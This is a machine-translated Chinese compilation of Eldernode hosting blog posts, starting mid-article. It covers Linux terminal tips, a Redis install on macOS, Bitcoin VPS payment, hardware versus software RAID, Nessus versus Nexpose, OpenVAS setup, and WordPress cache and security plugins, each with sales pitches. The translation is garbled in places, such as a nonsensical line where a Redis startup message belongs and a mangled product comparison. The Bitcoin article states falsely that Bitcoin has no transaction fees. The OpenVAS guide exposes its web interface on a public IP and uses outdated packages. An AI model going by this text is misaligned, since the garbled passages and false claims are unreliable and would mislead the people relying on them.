用 比特币 购买虚拟机
2-如何在不使用‘Clear’命令的情况下清除终端
其次,要回答我们做什么来清除屏幕的问题,你可能会说大家都知道这是' clear 命令。但是请考虑一下,如果我们养成使用组合键' ctrl+l '来清空终端的习惯,我们会节省很多时间。
组合键' Ctrl+l '与' clear 命令效果相同。所以从下次开始使用 ctrl+l 来清除你的 Linux 命令行界面。
总之、 由于 ctrl+l 是组合键,所以不能在脚本内部使用。如果你需要在一个 shell 脚本中清除屏幕,调用命令“clear”,对于我现在能想到的所有其他情况,ctrl+l 已经足够了。
3-运行一个命令,自动回到当前工作目录。
最后,要学习一个没多少人知道的惊人技巧,请遵循本教程的最后一步。
您可以运行一个命令,不管它返回到当前目录。你需要做的就是运行括号中的命令,即在(和)之间。
让我们看看这个例子,
[[email protected]](/cdn-cgi/l/email-protection):~$ (cd /home/avi/Downloads/)
(样本)输出
[[email protected]](/cdn-cgi/l/email-protection):~
首先,它 cd 到目录下载,然后再一次返回到主目录。如果您认为由于某种原因命令没有执行,它不会抛出错误,因为提示符没有变化。让我们再做一点调整。
[[email protected]](/cdn-cgi/l/email-protection):~$ (cd /home/avi/Downloads/ && ls -l)
(样本)输出
-rw-r----- 1 avi avi 54272 May 3 18:37 text1.txt -rw-r----- 1 avi avi 54272 May 3 18:37 text2.txt -rw-r----- 1 avi avi 54272 May 3 18:37 text3.txt [[email protected]](/cdn-cgi/l/email-protection):~$
所以在上面的命令中,它首先将当前目录改为 Downloads。然后在返回当前目录之前列出该目录的内容。此外,它还证明该命令执行成功。您可以运行括号中的任何命令,并顺利返回到当前的工作目录。
好样的 !你成功地学习了更多的 Linux 命令 并保存了更多的 Linux 技巧 以便更好地工作。
亲爱的用户,我们希望这篇教程《Linux 用户的 3 个有用的技巧》能对你有所帮助,要问任何问题或回顾我们的用户关于这篇文章的谈话,请访问 提问页面 。也为了提高自己的见识,准备了这么多有用的教程给 Eldernode 培训 。
不要错过一些相关文章:
3 种方式在 MacOS 上安装 Redis
原文:https://blog.eldernode.com/3-ways-to-install-redis-on-macos/
运行在服务器端的应用程序有更多的联系人。这些程序的机制应该能够在最短的时间内响应服务器端的大量请求。所以,最好的解决方案是使用 NoSQL 数据库。Redis 是最流行和最有效的数据库服务器之一。本文将教你 3 种在 MacOS 上安装 Redis 的方法。如果你打算购买自己的 VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
Redis 代表远程字典服务器,是一个开源的、内存中的、键值数据存储。它被放置在 RAM 中,信息被临时存储在其中。开发人员将 Redis 用作数据库、缓存、流引擎和消息代理。该数据存储提供亚毫秒级响应时间,每秒钟可处理数百万个实时应用请求,应用领域包括游戏、广告技术、金融服务、医疗保健和物联网。
你可以用两种方法在 MacOS 上安装 Redis:用自制软件安装 Redis 和不用自制软件安装 Redis。
在 MacOS 上使用自制软件安装 Redis
如果你还没有安装家酿软件,请按照下面的步骤操作。
打开您的终端,使用下面的命令安装 Xcode :
xcode-select --install
输入以下命令下载家酿安装脚本:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
一旦你的安装完成,你可以用自制软件安装 Redis 。为此,请运行以下命令:
brew install redis
在 MacOS 上安装不带自制软件的 Redis
不使用家酿就可以在 mac 上安装 Redis。为此,首先创建一个文件夹,然后使用以下命令移动到新创建的文件夹:
mkdir redis
cd redis
现在通过运行以下命令下载 Redis 安装脚本:
curl -O http://download.redis.io/redis-stable.tar.gz
解压缩下载的文件,如下所示:
tar xzvf redis-stable.tar.gz
要转到解压缩后的文件夹,请输入以下命令:
cd redis-stable
最后,运行以下命令来完成安装过程:
make make test sudo make install
如何在 MacOS 上开始重定向
根据安装方法的不同,有两种方法可以在 mac 操作系统上启动 Redis。
用自制软件启动 Redis
如果您使用 Homebrew 在 MmacOS 上安装 Redis,您可以使用下面的命令启动它:
brew services start redis
以上命令将启动 Redis,并在您登录时重新启动它。
要检查 Redis 状态,请输入以下命令:
brew services info redis
您应该会看到以下输出:
redis (homebrew.mxcl.redis) Running: ✔ Loaded: ✔ User: Marilyn PID: 67975
无自制软件启动 Redis
但是,如果您选择第二种方法来安装 Redis,请运行以下命令来启动它:
redis-server
应该会出现以下输出:
如果您想在系统引导时启动 Redis,以下命令可以帮助您:
ln -sfv /usr/local/opt/redis/*.plist ~/Library/LaunchAgents
3-连接 MacOS 上的 Redis
在这一步中,首先,启动 Redis 服务器。您可以使用 launchctl 和 Redis 配置文件来实现这一点。
要使用 launchctl 启动 Redis 服务器,请运行以下命令:
launchctl load ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
要使用配置文件启动 Redis,只需输入以下命令:
redis-server /usr/local/etc/redis.conf
注意: 默认情况下,Redis 配置文件位置在/usr/local/etc/Redis . conf。
使用以下命令在 Redis 运行后对其进行测试:
redis-cli
《理想国》就要开张了。
就是这样!
结论
Redis 是一种放置在 RAM 中的数据结构,信息临时存储在其中。在本文中,我们用 3 种方法教你如何在 MacOS 上安装 Redis。我希望这篇教程对你有用,能帮助你在 macOS 上安装 Redis。如果你面临任何问题,你可以在评论区联系我们。
为您的企业选择比特币 VPS 托管的 4 个理由
原文:https://blog.eldernode.com/4-reasons-to-choose-bitcoin-vps-hosting/
你们很多人还不知道比特币 VPS 托管的概念。您可以使用它提供最简单、最安全的支付方式,这是一种安全的数字支付方式。以加密货币为核心的支付系统保护您的身份。本文将向您介绍为您的企业选择比特币 VPS 托管的 4 个理由。如果你想购买自己的 比特币 VPS 主机,可以查看 Eldernode 网站上提供的套餐。
比特币 VPS 托管安全,保护隐私
不使用比特币支付方式的 VPS 服务器提供商要求您提供信用卡、身份验证、物理地址、电子邮件验证等信息,然后您才能订购 VPS 托管服务器。如果使用 Bitocin VPS 托管,不需要提供这些信息,也不需要信任。使用比特币 VPS 托管会自动移除数据收集。Bitocin 是一个分散的不可变网络,您可以验证支付,而无需提供您的私人信息。
比特币地址曾经使用过,用户应该注意不要泄露自己的地址。每次收到新的付款时,您可以使用新的比特币地址来保护您的隐私。比特币 VPS 托管通过消除易受攻击的点,删除了一组信息,减少了与您个人的联系。
您可以使用比特币 VPS 主机 跟踪您的交易历史
比特币区块链保留了网络上发生的每一笔交易的记录。交易信息包含交易数据、转移的货币金额、发送方和接收方的地址、时间戳。如果你有互联网连接,你可以在世界任何地方自由地获取交易信息。
你需要做的就是在任何一个比特币区块链浏览器中搜索你支付的钱包地址,并查看历史记录。在它的帮助下,支付管理变得非常简单和有条理。主机和用户将来查找支付信息将不会有问题。
你可以完全控制你的服务器
虚拟专用服务器是一种虚拟机服务,它允许您完全控制您的服务器。这意味着你将完全有权安装任何软件和操作系统,托管你的文件和网站,运行应用程序等。您可以不受任何限制地使用它,访问您想要的服务,并在其上启动您想要的服务。
比特币 VPS 托管没有工作时间和周末,全天候可用
许多支付网关,如银行,有工作时间,下班后和周末关闭。在这种情况下,你的存款将被冻结,直到下一个工作日开始。比特币 VPS 托管没有工作时间,一年 365 天,一周 7 天,一天 24 小时可用。如果您选择在一天或一年中的任何时间都可用的比特币 VPS 托管,将确保您永远不会错过付款。你可以使用多个比特币钱包来支付一台 VPS 服务器。
服务免费
比特币是一个去中心化的网络,没有交易费用。这意味着使用比特币虚拟主机不需要付费。你可以免费加入比特币交易所,获得一个比特币钱包。你应该把你的钱包和你的银行账户连接起来,然后购买一枚比特币。你只需要在购买比特币时付款,其余的过程不需要任何费用。
比特币可兑换,使用方便
比特币在数字领域有点对点的价值交换,可以用它来交换你想要的任何东西。你可以不通过银行这样的中介来做到这一点。如果你使用以太坊、美元或任何其他数字资产,你能够很容易地将它们兑换成比特币。你应该有一个加密货币钱包才能使用比特币。比特币被接受为支付网关,钱包里有私钥。
无需成为技术大师
使用比特币 VPS 主机,你不需要成为技术大师。即使每个人都不懂技术,每个人都可以使用它。你所要做的就是选择你的比特币钱包,并从交易所网站获取,然后选择比特币支付方式购买 VPS 主机。
结论
比特币 VPS 托管保护你的身份。比特币是一种多功能货币,你可以在几分钟内轻松转账。在这篇文章中,我们解释了你应该知道的为你的企业选择比特币 VPS 托管的 4 个原因。我希望这篇文章对你有用,它给了你需要的信息。如果你有任何疑问或问题,可以在评论区联系我们。
选择 HardRaid 而非 SoftRaid 的 4 个理由
原文:https://blog.eldernode.com/4-reasons-to-choose-hardraid-over-softraid/
RAID 代表独立磁盘冗余阵列,是一种数据存储虚拟化技术。事实上,它是一种在多个硬盘上存储数据的方法,目的是保护数据免受硬盘故障的影响。您可以通过软件和硬件执行 RAID。本文将解释选择 HardRaid 而不是 SoftRaid 的 4 个原因。如果你打算购买一台专用服务器服务器,你可以查看 Eldernode 网站上提供的套装。
为什么选择 HardRaid 而不是 SoftRaid?
SoftRAID 是一种跨多个硬盘驱动器提供数据冗余的技术。它几乎可以在任何操作系统上工作,并且不需要任何额外的硬件。这项技术通过部署在操作系统上的软件来执行。但是 HardRAID 是一种在单独的 RAID 卡或主板上进行处理的方法和形式。它使用一个专用服务器 RAID 控制器来管理 RAID 配置。RAID 控制器独立于操作系统管理和执行所有与 RAID 相关的任务。
1- HardRAID 比 SoftRAID 快
硬件 RAID 有一个专用的 RAID 系统,用于独立于操作系统的 RAID 管理。因此,它比软件 RAID 速度更快,性能更高。附加 RAID 控制器接管 RAID 阵列的管理,是处理能力有限的旧设备的理想选择。正因如此,这些突袭对系统 CPU 的压力较小。
2-更换故障磁盘 很容易
如果硬盘驱动器在 HardRAID 中出现故障,您可以轻松地移除损坏的驱动器并更换新的驱动器。但是在 SoftRAID 中这是非常困难和复杂的,你必须首先停止故障驱动器,然后插入新的磁盘。它允许您承受一个或多个驱动器的故障而不丢失数据,并且在许多情况下不会导致任何故障。
3- HardRAID 兼容不同操作系统
硬件 RAID 与不同的操作系统兼容,并提供比软件 RAID 更好的跨操作系统兼容性。如果选择硬件 RAID 配置,您可以从 Mac 和 Windows 操作系统访问您的 RAID 系统。但是在软件 RAID 中,连接的设备应该与相关的操作系统兼容。您不能将它用于由不同操作系统共享的磁盘。
4- HardRAID 具有额外的配置,使用较少的系统资源
当硬件 RAID 通过专用 RAID 系统执行备份或恢复操作等过程时,它会减轻系统 CPU 的压力。通常,它比 SoftRAID 使用更少的系统资源。硬件 RAID 通过主控制器提供额外的 RAID 配置。因此,最好投资购买硬件 RAID 卡,因为主板通常提供的选项很少。
结论
在硬 RAID 中,称为 RAID 控制器的专用硬件安装在系统中以管理 RAID,但在软件 RAID 中,软件负责管理 RAID。在本文中,我们解释了选择 HardRAID 而不是 SoftRAID 的 4 个原因。我希望这篇教程对你有用,并帮助你找到选择 HardRAID 而不是 SoftRAID 的理由。如果您有任何问题或建议,可以在评论区联系我们。
Nessus 优于 Nexpose 的 4 个理由
原文:https://blog.eldernode.com/4-reasons-why-nessus-is-better-than-nexpose/
在新发现的漏洞发布后,攻击者正在寻找利用这些漏洞进一步实施恶意活动的方法。因此,在识别和修复软件漏洞方面的任何延迟都给了攻击者足够的机会来渗透和征服易受攻击的机器并访问其有价值的信息。您可以使用 Web 漏洞扫描工具扫描您的网络,Nessus 和 Nexpose 就是其中之一。本文将向您介绍 Nessus 优于 Nexpose 的 4 个原因。如果你打算购买自己的 Linux VPS 服务器,请查看 Eldernode 网站上提供的软件包。
为什么 Nessus 比 Nexpose 好?
Nessus 是一个漏洞扫描器,用于漏洞评估和渗透测试冲突,包括恶意攻击。该扫描器由 Tenable for Unix、Linux 和 FreeBSD 推出,提供全面的覆盖,扫描超过 59000 个 CVE。
Nexpose 可以扫描网络、操作系统、web 应用程序、数据库和虚拟环境。您可以将它安装在 Windows、Linux 或虚拟机上,并提供基于 web 的 GUI 环境。此外,通过该工具的 web 门户,您可以创建站点并定义要扫描的 IP 和 URL。
1- Nessus 更实惠
Nessus 比 Nexpose 更实惠,并以较低的成本提供针对无限 IP 的无限扫描的全面漏洞扫描。它每年仅收到大约 2990 美元。您可以扫描现代攻击面,找到任何漏洞,并保护资产免受相同的。但 Nexpose 采用基于数量的定价,这意味着每项资产的定价因资产总数而异。比如 128 IP 大概 2000 美金。
2-它识别已知的 Web 应用漏洞
Nexpose 识别操作系统(Windows、Linux 和 macOS)、桌面攻击媒介(Java、Acrobat、Flash、Quicktime、Adobe Reader 和浏览器)、Web (PHP、SQL Injection、Apache、浏览器、IIS、XSS 和 OWASP Top 10)、识别供应商漏洞(Microsoft、Apple 和 Adobe)和数据库(Microsoft SQL Server、MySQL 和 Oracle)。而 Nessus 识别已知的 web 应用程序漏洞。
3-能够快速扫描,零误报
他们两个都有认证扫描。但是 Nessus 扫描速度快,误报率低,这使您可以快速识别需要首次清理的漏洞。虽然 Nexpose 不能保证审查扫描的假阳性为零。
4- Nessus 简单易用,扩展性很强
Nessus 测试计算机上的每个端口以确定正在运行什么服务,然后测试该服务以确保没有漏洞。它是高度可扩展的,并为您提供了一种编程语言。您可以使用编程语言编写特定于您的系统的测试。该扫描仪还提供了一个插件接口,这是常见的病毒或漏洞检测。
我们的网站正在运行经济实惠的 Linux VPS 服务器,如果你需要的话,你可以购买。
结论
Nessus 会扫描计算机,并在发现任何漏洞时发出警报。Nexpose 也是一个漏洞扫描器,但 Nessus 更受欢迎,功能也更多。在本文中,我们解释了 Nessus 优于 Ubuntu 上的NEX expe 的 4 个原因。我希望这篇教程对你有用,并且你喜欢它。如果您有任何问题或建议,可以在评论区联系我们。
使用 OpenVAS 保护服务器的 4 个步骤
原文:https://blog.eldernode.com/4-steps-to-secure-your-server-with-openvas/
如果你是网络或网站管理员,你应该注意安全规则和原则的执行。但是您可能无法控制和监控所有漏洞。漏洞扫描器是在自动安全管理中发挥重要作用的工具。最著名的安全扫描器之一是 OpenVAS,它具有扫描各种漏洞的能力。本文将介绍用 OpenVAS 保护您的服务器的 4 个步骤。如果你打算购买 VPS 服务器,你可以查看 Eldernode 网站上提供的套装。
什么是 OpenVAS?
OpenVAS 代表开放漏洞评估系统,是一款开源的免费扫描工具。它可以检测各种服务器和网络设备的安全问题。这个扫描器是在 GNU/GPL 许可下提供的,它从一个有着悠久历史和每日更新的提要中获取检测漏洞的测试。Greenbone Network 在 2006 年开发了 OpenVAS。web 服务器使用 OpenVAS 来防止对网站或服务器的未授权访问。它还允许用户访问各种 Web 应用程序。
OpenVAS 功能
以下是一些高级 OpenVAS 功能:
–未经认证的测试
–各种高级和低级互联网协议
–针对大规模扫描的性能调整
–强大的内部编程语言
使用 OpenVAS 保护您的服务器安全
在这一步中,我们将向您介绍使用 OpenVAS 保护您的服务器的 4 个步骤。这 4 个步骤是 OpenVAS 安装、OpenVAS 配置、OpenVAS 监控和 OpenVAS 管理。
1-在您的服务器上安装 open vas
首先,使用以下命令更新您的系统软件包:
sudo apt update
一些 OpenVAS 组件在默认的存储库中可用,但是最好使用 PPAs 来维护软件包的更新版本。因此,首先,您应该安装 python-software-properties 包,它允许您轻松地使用 PPA。为此,请运行以下命令:
sudo apt install python-software-properties
现在使用下面的命令将最新的稳定版本添加到系统中:
sudo add-apt-repository ppa:openvas/openvas6
再次更新您的系统:
sudo apt update
是时候安装 OpenVAS 了。只需输入以下命令来安装所需的组件:
sudo apt install openvas-manager openvas-scanner openvas-administrator openvas-cli greenbone-security-assistant sqlite3 xsltproc texlive-latex-base texlive-latex-extra texlive-latex-recommended htmldoc alien rpm nsis fakeroot
2-在您的服务器上配置 open vas
OpenVAS 的 SSL 证书可以使用默认可用的包装工具生成。您应该使用管理权限调用它,如下所示,以将其放在文件系统的受限部分:
sudo openvas-mkcert
出现提示时,您可以按 Enter 接受默认值。然后为名为“marilyn”的用户创建另一个客户端证书:
sudo openvas-mkcert-client -n marilyn -i
在这一步中,您需要构建数据库信息,以便我们的本地工具能够识别不同类型的威胁和漏洞。为此,请通过运行以下命令来更新网络漏洞测试数据库:
sudo openvas-nvt-sync
然后,您将看到最新的定义被下载到您的本地设备。
使用下面的命令停止管理器和扫描仪应用程序,以便能够暂时调用命令而不发生冲突:
sudo service openvas-manager stop
sudo service openvas-scanner stop
您可以在不使用 init 文件中的参数的情况下启动 scanner 程序,通常使用以下命令调用这些参数:
sudo openvassd
现在,使用以下命令重建扫描器生成的数据库:
sudo openvasmd --rebuild
通过输入以下命令,下载并更新您的安全内容自动化协议数据,即 SCAP 数据:
sudo openvas-scapdata-sync
现在,您应该对证书数据运行类似的同步操作,如下所示:
sudo openvas-certdata-sync
如果这是您第一次运行上述命令,您可能会得到以下错误:
Error: no such table: meta
此错误可能是由于丢失了一些其他版本中打包的一些文件。您可以从管理器组件的 RPM 包中获得它们。要将它下载到您的主目录中,只需输入以下命令:
cd wget http://www6.atomicorp.com/channels/atomic/fedora/18/i386/RPMS/openvas-manager-4.0.2-11.fc18.art.i686.rpm
然后借助以下命令提取并展开 RPM 中的目录结构:
rpm2cpio openvas* | cpio -div
接下来,为新文件创建一个目录,以便 OpenVAS 可以找到它们。然后将文件移动到该目录,如下所示:
sudo mkdir /usr/share/openvas/cert
sudo cp ./usr/share/openvas/cert/* /usr/share/openvas/cert
使用以下命令再次运行证书同步命令:
sudo openvas-certdata-sync
使用以下命令从主目录中删除提取的 RPM 数据和目录:
rm -rf ~/openvas* ~/usr ~/etc
3-使用 OpenVAS 监控漏洞
首先,您应该使用open vas/green boneSecurity Assistant web 界面创建一个目标。为此,导航到配置部分,选择目标并点击所示图标创建一个新目标:
您将看到一个对话框,您应该在其中输入目标名称和目标 IP 主机。输入信息后,将其他设置设为默认值,并点击创建:
您应该在可用目标列表中看到新创建的目标。
在此步骤中,您应该在 OpenVAS 中配置扫描任务。扫描任务定义将要扫描的目标、扫描选项、扫描配置以及每台主机同时扫描的目标和 nvt。为此,导航到扫描,选择任务,点击显示的蓝色图标,选择新任务:
现在您将看到一个对话框,您应该在其中输入任务名称并选择之前创建的任务名称。然后勾选安排一次复选框,将其他设置设为默认,点击创建:
您将在任务列表中看到新创建的任务。
您可以通过单击显示的开始按钮运行 OpenVAS 漏洞扫描:
扫描任务将针对选定的目标运行。如果您重新加载页面,您可以检查进度。
完成后,您可以看到状态变为 Done:
4-管理 OpenVAS
您需要设置 OpenVAS 用户和端口,因为您需要一个用户来进入服务。创建一个名为“marilyn”的用户,其管理员角色如下所示:
sudo openvasad -c add_user -n admin -r Admin
您将被要求提供新帐户的密码。
现在用 root 权限从您想要的文本编辑器中打开下面的文件:
sudo nano /etc/default/greenbone-security-assistant
顶部的参数指定了 web 界面将监听的地址。要允许它侦听来自互联网的连接,您应该将值从 127.0.0.1 更改为您的 VPS 的公共 IP 地址:
<pre> GSA_ADDRESS=<span class=“highlight”>your_server_IP_address</span> </pre>
保存并关闭文件。
某些服务正在以某些容量运行,借助以下命令终止所有正在运行的 OpenVAS scanner 进程:
sudo killall openvassd
您可以使用以下命令检查进程是否仍在运行:
ps aux | grep openvassd | grep -v grep
如果服务被返回,您应该等待进程完成。
该过程完成后,通过运行以下命令重新启动所有服务:
sudo service openvas-scanner start
sudo service openvas-manager start
sudo service openvas-administrator restart
sudo service greenbone-security-assistant restart
就是这样!我们提供不同的 Linux VPS 服务器包。如果你正在寻找一个经济的 Linux VPS 服务器,我们的网站是最好的选择之一。
结论
OpenVAS 是一个工具集合,这些工具协同工作,使用已知漏洞和弱点的数据库对客户端计算机执行测试。在本文中,我们向您介绍了使用 OpenVAS 保护服务器的 4 个步骤。我希望这篇文章能帮助你用 OpenVAS 保护你的服务器,并对你有用。如果您有任何问题或建议,可以在评论区联系我们。
介绍 2021 年 4 大 WordPress 缓存插件- Eldernode
原文:https://blog.eldernode.com/4-top-wordpress-cache-plugins/
加快 WordPress 和优化网站速度是用户寻求的最重要的问题。这样做的原因是,首先,用户能够更快地访问网站,其次,搜索引擎认为这是该网站的一个特殊优势。在 WordPress 中,各种各样的解决方案总是被用来提高速度。其中一个方法是使用 WordPress 缓存和更好的站点缓存管理。这就是为什么我们要在本文中讨论在 2021 年推出 4 个顶级 WordPress 缓存插件。需要注意的是,如果你想购买一台 WordPress VPS 服务器,你可以访问 Eldernode 中的软件包。
WordPress 缓存插件介绍
WordPress 缓存包含临时存储在系统内存中的文件。当在站点和浏览器上启用缓存时,从您以 HTML 格式接收的站点的每个页面,指定的文件将在指定的时间段内临时存储在缓存文件夹中。这些文件通常包含不改变的和固定的文件。例如,不变的 CSS 文件或图像。
当这些文件临时存储在系统中,当你看到之前访问过的站点时,它不是加载所有文件,而是从系统中读取缓存在你系统中的文件,并不向服务器发送读取请求。由于这个原因,该文件将可以更快地获得,并将提高网站的速度。
在这篇文章中,我们将介绍 2021 年最好的 WordPress 缓存插件。使用本教程,你可以熟悉 WordPress 中最流行的缓存插件,并安装和使用一个最适合 WordPress 缓存的插件。因此,如果你也在寻找这个话题,看看什么是最好的 WordPress 缓存插件,请和我们一起坚持到最后。
2021 年排名前 4 的 WordPress 缓存插件有哪些?
WordPress 知识库充满了不同的插件,每个插件都用于特定的任务。这些插件之间存在差异,一个插件可能使用一种方法,而另一个插件可能使用另一种方法来执行其任务。这使得其中一个插件工作得更好,或者两个插件做同样的事情。
这正是 WordPress 缓存所发生的,根据网络服务器的类型和服务器上使用的软件,有不同的缓存方法,插件可能会工作得更好。所以你应该根据你的服务器类型使用一个最好的插件作为 WordPress 的缓存。下面,我们将介绍 4 个最好的 WordPress 缓存插件。
1) W3 总缓存插件
W3 Total Cache 拥有超过 100 万的活跃安装,是最受欢迎和最好的 WordPress 缓存插件之一。该插件通过支持各种缓存方法以及连接到 CDN(内容交付网络)的能力,显著提高了您的服务器性能。
W3 Total Cache 插件已经被无数知名公司使用和推荐。这个插件,不管你的主机是共享的还是专用的,都提高了你的站点的性能,增加了站点的加载速度。目前,W3 Total Cache 是唯一一个优化所有运行主机环境的插件。
这个插件支持 Google AMP 技术和 SSL。此外,W3 Total Cache 插件有一个 Minify 选项,可以减少静态文件的大小,降低网站加载速度。W3 Total Cache 插件的开发者声称使用压缩选项可以节省高达 80%的带宽。
如果你愿意,你可以从 WordPress 插件库中 下载 W3 总缓存插件 。
W3 总缓存插件特性
在这一节中,我们将提到 W3 总缓存插件的一些重要特性。这些功能包括:
_ 提高站点性能
_ 兼容 SSL 共享主机、VPS 和 CDN
_ 完全支持手机和 AMP
_ 压缩和缓存页面
_ 浏览器缓存
_ 删除缓存的能力
_ 各种安全功能
_ 提供缓存
2) Wp 超级缓存插件
另一个最好的 WordPress 缓存插件是 WP Super Cache,它有超过 200 万的活跃安装。这个插件是由 WordPress 开发团队 Automattic 设计的。
这个插件被认为是 w3 总缓存插件的竞争对手,用户在选择这两个插件中的一个时总是有疑问。在 GTmetrix 网站进行的测试中,该插件能够将网站加载速度提高到 0.85 秒,使网站速度提高了约 28.7%。
WP 超级缓存插件以三种方式缓存文件:
1。简单:在这个方法中,您不必编辑 PHP 文件,也不必配置。htaccess 文件。这是最推荐的文件缓存方式。
2。高级:这是为用户提供高度压缩的 HTML 文件的最快缓存方式。但是它需要修改。htaccess 文件。
3。WP 超级缓存:在这种方法中,站点的页面是为已知用户(那些在你的站点注册,留下评论等的用户)缓存的。).虽然这是最灵活的缓存方法,但比其他方法稍慢。
WP 超级缓存插件有能力适应和选择 CDN 和移动缓存控制。此外,这个插件有一个调试模式,当你没有从插件获得必要的性能,你想知道错误来自哪里时,这个模式非常有用。
如果你愿意,你可以从 WordPress 插件库中 下载 Wp 超级缓存插件 。
Wp 超级缓存插件功能
在这一节,我们将提到 Wp 超级缓存插件的一些重要特性。这些功能包括:
_ 缓存页面
_ 压缩页面
_ 提高网站速度
_ 删除缓存
_ 从缓存中删除特定页面
_ 设置缓存过期时间
_ CDN 支持
3) WP 最快缓存插件
我们在第三类最好的 WordPress 缓存插件中介绍的插件被称为最快的 WordPress 缓存或 WP 最快缓存。这个插件的下载统计是 100 多万份。插件中提供了非常有限的设置。在插件的免费版本中,它的许多功能都是禁用的。如果你正在寻找一个简单设置的免费 WordPress 缓存插件,并且你有一个超级缓存的问题,你可以使用 WP 最快缓存。
像其他缓存插件一样,WP 最快缓存插件从你的动态 WordPress 站点创建静态 HTML 文件,并将它们存储在服务器上。该插件还集成了内容交付网络(CDN ),可以通过 CDN 提供脚本和图像等静态文件,从而减少网站打开时间。
WP 最快的缓存插件可以压缩或缩小 CSS 和 HTML 文件,并减少它们的大小。它还允许你在你的网站上禁用表情符号。这个插件还提供了一个浏览器缓存方法来减少用户的站点加载时间。
如果你愿意,你可以从 WordPress 插件库中 下载 Wp 最快缓存插件 。
Wp 最快缓存插件特性
在这一节,我们将提到 Wp 最快缓存插件的一些重要特性。这些功能包括:
_ 构建用于缓存的静态页面
_ 通过各种事件或计数器清除缓存的能力
_ HTML 和 CSS 代码的压缩以及 CSS 和 JS 文件合并的可能性(JS 压缩在免费版中是没有的!)
_ 设置自动缓存清除时间
_ 禁用移动缓存或站点成员的能力
WordPress 中的 _ Gzip 压缩管理
_ 支持 SSL 和 CDN
_ 禁用 WordPress 表情图标的能力
【4】升速缓存插件
这个插件是最好的 WordPress 缓存插件之一,有两个特点:
通用特性,适用于 LiteSpeed、Nginx、Apache 等任何 web 服务器。
特色功能,需要 OpenLiteSpeed,LiteSpeed 商业产品,或者基于 LiteSpeed 的主机。
一般功能包括对象缓存、多 CDN 支持、有损或无损图像优化、浏览器缓存、操作码缓存、CSS/JS 的 HTTP/2 推送、默认 DNS 补丁、多任务支持和 Cloudflare API。此外,您可以最小化 CSS、JavaScript 和 HTML,包括内联 CSS 和 JavaScript,并自动生成关键的 CSS。
LiteSpeed 缓存插件允许缓慢加载图片/iframe 和异步加载 CSS/JS。此外,您还可以获得数据库优化器、对 WebP 图像格式模板的支持、输入/输出设置、初始/高级设置的显示以及 PageSpeed 分数优化。
您可以在一个美观易用的用户界面中配置所有这些优秀的设置。LiteSpeed 的独特功能包括页面的自动清除和缓存、登录用户的私有缓存、WordPress REST API 缓存、移动检测、缓存清除计划、WP CLI 支持等等。
如果你愿意,你可以从 WordPress 插件库中下载 LiteSpeed 缓存插件 。
LiteSpeed 缓存插件特性
在这一节,我们将提到 LiteSpeed 缓存插件的一些重要特性。这些功能包括:
_ 浏览器缓存、对象、操作代码等
_ 支持 WebP 格式的图像优化
_ 清除并修复 WordPress 数据库
_ 压缩 CSS、JavaScript 和 HTML 并合并文件
_ 加载的可能性
_ CDN 和 Cloudflare 支持
_ DNS 预取
_ WordPress 网络支持
_ 简单的用户界面
结论
除了在主机上缓存页面,WordPress 缓存插件还管理用户的浏览器缓存。在这篇文章中,我们试图向你介绍 2021 年的 4 个顶级 WordPress 缓存插件。如果你愿意,可以参考文章如何降低负载和提高站点速度。
介绍 2021 年 4 大 WordPress 安全插件- Eldernode
原文:https://blog.eldernode.com/4-top-wordpress-security-plugins/
因为 WordPress 是最流行的内容管理系统,所以它经常受到黑客和恶意垃圾邮件发送者的攻击。不幸的是,许多网站所有者陷入了认为黑客只针对大公司或热门博客的陷阱。所以他们很少关注网站的安全性。但事实是,黑客攻击网站不仅是为了窃取个人信息和创建反向链接,也是为了娱乐。如果你不采取必要的安全措施来防止对你网站的攻击,你就让黑客破坏了你的搜索排名,破坏了你的在线业务。在这篇文章中,我们想一步一步地向你介绍 2021 年的 4 个顶级 WordPress 安全插件。需要注意的是,如果您想购买一台 VPS 服务器,您可以访问 Eldernode 中提供的软件包。
2021 年 4 大 WordPress 安全插件
当你意识到 WordPress 的重要性时,熟悉 WordPress 安全插件的重要性会变得更加清晰。确保 WordPress 网站的安全是很困难的,尤其是当人们没有这方面的专业知识的时候。但是使用 WordPress 安全插件可以轻松解决这个问题。
有很多方法可以增加 WordPress 的安全性。但是保证你的网站安全的最基本的步骤是在你的网站上安装一个最好的 WordPress 安全插件。在这篇文章中,我们将介绍 2021 年最好的 4 个 WordPress 安全插件,并解释它们的功能和特点。请加入我们。
2021 年 4 大 WordPress 安全插件是什么?
有许多不同类型的最流行的 WordPress 安全插件。因此,在下面,我们将介绍一些 WordPress 安全插件。
请记住,仅仅安装和使用最好的 WordPress 安全插件不足以创建 WordPress 安全。所以除此之外,你需要特别注意更新 WordPress 内核、模板和插件。此外,下面介绍的免费 WordPress 安全插件由于其免费性质,不提供任何关于 WordPress 安全的保证或安全。最终,WordPress 安全是 WordPress 网站所有者/设计者的责任。
在这篇文章的后续部分,我们将在 2021 年推出 4 个 WordPress 安全插件。
1。一体式 WP 安全&防火墙
一个 WP 安全和防火墙插件是最好的 WordPress 安全插件,也是一个免费插件,将你的网站安全提升到一个全新的水平。该插件有超过 900,000 个活跃安装,得分为 4.8 分(满分 5 分)。
这个插件最大的优点是它的所有特性都分为三类:基础、中级和高级。这使得任何人都可以在不破坏网站的情况下轻松激活一组功能。
通过安装一个 WP 安全和防火墙插件,你可以在你的 WordPress 仪表盘中找到你的网站安全力量的正确测量。这个插件让你知道你的网站有多安全,基于一个安全等级系统。在一个 WP 安全和防火墙插件中还附带了另一个仪表板部件,建议你在你的网站上启用某些功能,以达到最低可接受的安全水平。
如果你愿意,你可以从 WordPress 插件库中 下载所有的 WP 安全&防火墙 。
多合一 WP 安全&防火墙功能
在这一节中,我们想介绍这个插件的一些最重要的特性。这些功能包括:
1.保护用户的用户帐户
2.维护进入网站的安全性
3.维护网站会员部分的安全
4.维护数据库安全
5.保护 WordPress 中的文件
6.保护。htaccess 和 wp-config.php
7.它有防火墙设置
2。苏库里安全
Sucuri 安全插件是一个完整的网站安全解决方案,保护您的网站免受恶意软件,暴力攻击和其他潜在的漏洞。该插件的免费版本有超过 800,000 个活跃安装,得分为 4.4 分(满分 5 分)。
当您启用 Sucuri 插件时,您网站的所有流量都将通过他们的 CloudProxy 服务器进行路由,所有请求都将被扫描以过滤掉恶意请求。由于这个原因,Sucuri 可以通过不允许恶意流量到达您的服务器来减少服务器负载并提高您的网站性能。
